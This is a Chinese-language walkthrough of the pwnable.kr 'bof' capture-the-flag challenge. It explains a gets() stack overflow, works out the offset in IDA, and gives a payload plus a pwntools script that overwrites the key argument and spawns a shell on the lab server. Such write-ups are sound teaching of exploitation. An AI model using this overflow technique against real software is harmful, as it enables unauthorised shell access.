目录导航

  • 打开题目审题
    • nc 命令介绍
    • 获取服务器文件
  • 源代码分析
  • ELF分析构造payload
  • 解题

打开题目审题


Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.cRunning at : nc pwnable.kr 9000

Nana告诉我缓冲区溢出是最常见的软件漏洞之一。

nc 命令介绍

https://www.cnblogs.com/nmap/p/6148306.html 具体内容该博客讲的很详细

nc pwnable.kr 9000

简单来说该命令就是和 服务器9000端口交互,命令打开不难发现该端口执行的就是bof。

获取服务器文件

第一种方式:

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

题目中已经给出了链接,直接在浏览器中打开右键另存为即可。

第二种方式:

使用 wget 命令

wget http://pwnable.kr/bin/bof
wget http://pwnable.kr/bin/bof.c


源代码分析


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){char overflowme[32];printf("overflow me : ");gets(overflowme); // smash me!if(key == 0xcafebabe){system("/bin/sh");}else{printf("Nah..\n");}
}
int main(int argc, char* argv[]){func(0xdeadbeef);return 0;
}

很好懂,基本就是输入一个overflow字符串 这个字符串要让main调用func时传入的参数0xdeadbeef0xcafebabe 相同,这时我们才能够切换到命令行模式获取flag。

题目已经有提示了,缓冲区溢出,那如何构造payload呢。上ida。

源码没什么看头,这里已经要开始分析内存了。


ELF分析构造payload


看下该文件类型

D:\Desktop>file bof
bof: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped

32位的ELF文件,用ida打开。

F5反编译一下可得func:

IDA pseudocode

unsigned int __cdecl func(int a1)
{char s; // [esp+1Ch] [ebp-2Ch]unsigned int v3; // [esp+3Ch] [ebp-Ch]v3 = __readgsdword(0x14u);puts("overflow me : ");gets(&s);if ( a1 == -889275714 )system("/bin/sh");elseputs("Nah..");return __readgsdword(0x14u) ^ v3;
}

看注释可以看到

程序调用gets获取字符串s [esp+1Ch] [ebp-2Ch] 和传入的参数 a1 [esp+3Ch] [ebp-Ch] 比较。

IDA disassemable:

.text:0000062C                 public func
.text:0000062C func            proc near               ; CODE XREF: main+10↓p
.text:0000062C
.text:0000062C s               = byte ptr -2Ch
.text:0000062C var_C           = dword ptr -0Ch
.text:0000062C arg_0           = dword ptr  8
.text:0000062C
.text:0000062C ; __unwind {
.text:0000062C                 push    ebp
.text:0000062D                 mov     ebp, esp
.text:0000062F                 sub     esp, 48h
.text:00000632                 mov     eax, large gs:14h
.text:00000638                 mov     [ebp+var_C], eax
.text:0000063B                 xor     eax, eax
.text:0000063D                 mov     dword ptr [esp], offset s ; "overflow me : "
.text:00000644                 call    puts
.text:00000649                 lea     eax, [ebp+s]
.text:0000064C                 mov     [esp], eax      ; s
.text:0000064F                 call    gets
.text:00000654                 cmp     [ebp+arg_0], 0CAFEBABEh
.text:0000065B                 jnz     short loc_66B
.text:0000065D                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:00000664                 call    system
.text:00000669                 jmp     short loc_677

很简单,其实就是覆盖掉参数,计算偏移量即可

cmp     [ebp+arg_0], 0CAFEBABEh

参数key的位置是[ebp+arg_0] arg_0= dword ptr 8 可知,参数key的位置是 [ebp+8]

然后,char s; // [esp+1Ch] [ebp-2Ch] 可知overflow(即s)的位置就是 [ebp-2Ch]

我们需要输入overflow 覆盖掉 原来的参数即可。覆盖为0CAFEBABEh

构造payload那就是:

52*'A' + "\xbe\xba\xfe\xca"

A 可以是任意字符。下图可以看到是低地址存放低位,小端模式。我们从 [ebp-2Ch]写到 [ebp+8]

从小端写,所以是"\xbe\xba\xfe\xca"

关于ebp,放张图:


解题


需要使用pwn模块

这种方式就不需要考虑大小端问题了,函数会解决。

bof.py

import pwn
r = pwn.remote('pwnable.kr',9000)
r.send('a'*52+str(pwn.p32(0xcafebabe)))r.interactive()
'a'*52+pwn.p32(0xcafebabe) = 'A'*0x34+'\xBE\xBA\xFE\xCA'

运行即可。

$ ls -la
total 52504
drwxr-x---  3 root bof      4096 Oct 23  2016 .
drwxr-xr-x 87 root root     4096 Dec 27 23:17 ..
d---------  2 root root     4096 Jun 12  2014 .bash_history
-r-xr-x---  1 root bof      7348 Sep 12  2016 bof
-rw-r--r--  1 root root      308 Oct 23  2016 bof.c
-r--r-----  1 root bof        32 Jun 11  2014 flag
-rw-------  1 root root 53726989 Jun 26 18:23 log
-rw-r--r--  1 root root        0 Oct 23  2016 log2
-rwx------  1 root root      760 Sep 10  2014 super.pl
$ cat flag
daddy, I just pwned a buFFer :)
daddy, I just pwned a buFFer :)

获得flag


参考:

https://www.cnblogs.com/nmap/p/6148306.html

https://blog.csdn.net/summonlight/article/details/81123785

【pwnable.kr】Toddler‘s Bottle-[bof]相关推荐

  1. 【pwnable.kr】Toddler‘s Bottle-[flag]

    目录导航 下载题目文件 二进制分析 获取flag gdb调试 下载题目文件 Papa brought me a packed present! let's open it.Download : htt ...

  2. 【pwnable.kr】Toddler‘s Bottle-[passcode]

    目录导航 进入服务器 下载文件 反编译分析 EXP TIPS 进入服务器 Mommy told me to make a passcode based login system. My initial ...

  3. 【pwnable.kr】Toddler‘s Bottle-[random]

    目录导航 Target & Download Analysis & IDA Debug & writeup TIPS Target & Download Daddy, ...

  4. 【pwnable.kr】Toddler‘s Bottle-[fd]

    目录导航 打开题目审题 找到突破口 相关c语言知识 源代码分析 找到FLAG 打开题目审题 Mommy! what is a file descriptor in Linux?* try to pla ...

  5. 【pwnable.kr】passcode

    pwnable从入门到放弃,第六题. ssh passcode@pwnable.kr -p2222 (pw:guest) 完全是'&'的锅. #include <stdio.h> ...

  6. 【pwnable.kr】 alloca

    https://www.anquanke.com/post/id/170288 前言 最近在刷pwnable.kr [Rookiss],题目都好有意思,一其中题alloca虽然分值不高,但分析过程很值 ...

  7. pwnable.kr之Toddler‘s Bottle前八题知识点记录

    pwn刷题网站地址(点击直达): http://pwnable.kr/play.php 文章目录 第一题 fd 第二题:collision 1.首先是char和int数据类型的转换 2.python实 ...

  8. 【pwnable.kr】day8:leg

    pwnable:leg pwnable.kr:leg 题目链接 question Daddy told me I should study arm. But I prefer to study my ...

  9. 【pwnable.kr】leg

    pwnable从入门到放弃第八题. Download : http://pwnable.kr/bin/leg.c Download : http://pwnable.kr/bin/leg.asm ss ...

最新文章

  1. 智能车竞赛技术报告 | 节能信标组 - 重庆大学- 赛博坦汽车人联盟
  2. spring mybatis 集成
  3. SDUT_2119 数据结构实验之链表四:有序链表的归并
  4. [Trustzone]-ARM Cortex-A Serial支持Trustzone和Hypervisor的总结
  5. JZOJ 3947 . 【省常中JSOI模拟】收历史作业
  6. 消防给水及消火栓系统技术规范_2019一消备考干货《消防给水及消火栓技术规范》速收藏...
  7. TIOBE 3 月编程语言排行榜:Ruby 重回前十,Kotlin 突围
  8. supervisor入门应用
  9. The Future Of Mobile Development: HTML5 Vs. Native Apps
  10. wps vba6.3 宏插件下载
  11. AMEsim fatal error U1077解决方案之一
  12. TFN FMT715C/ 760 C系列无线综合测试仪性能如何
  13. 查看U盘是USB2.0还是USB3.0
  14. latex教程 / 矢量图转换 / 文献引用bibitem
  15. 黑马程序员-黑马,人生的一个重要转折
  16. ps抠图 淘宝抠图
  17. apk编辑器android源码,apk编辑器电脑版_apk编辑器电脑版下载[apk编译]- 下载之家
  18. 简单的poc以及exp编写(入门篇)
  19. python图片提取文字软件_这款Python 库 4行代码提取图片中的文字
  20. 日系插画学习笔记(二):结构与透视

热门文章

  1. 计算机图形绘制三棱柱源代码,基于MFC用OpenGL画得一个三棱柱
  2. 为了情怀,各行各业引发离职潮,亮点看财务人的!!
  3. lol服务器不稳定向全体玩家道歉,《英雄联盟》今日不停机更新 修复部分玩家服务器通讯不稳定问题...
  4. 常用 Linux 术语
  5. Python 删除数组元素
  6. 【Python】通过 requests 获取文件字节流
  7. 常用网络安全资源网站
  8. 《袁老师访谈录》第八期|温维佳教授/香港科大(广州)功能枢纽署理院长【问诊未来·院长系列:科研教授的硬核创业之道】...
  9. 机器学习-Hierarchical clustering 层次聚类算法
  10. QtVtk-025-QChartTable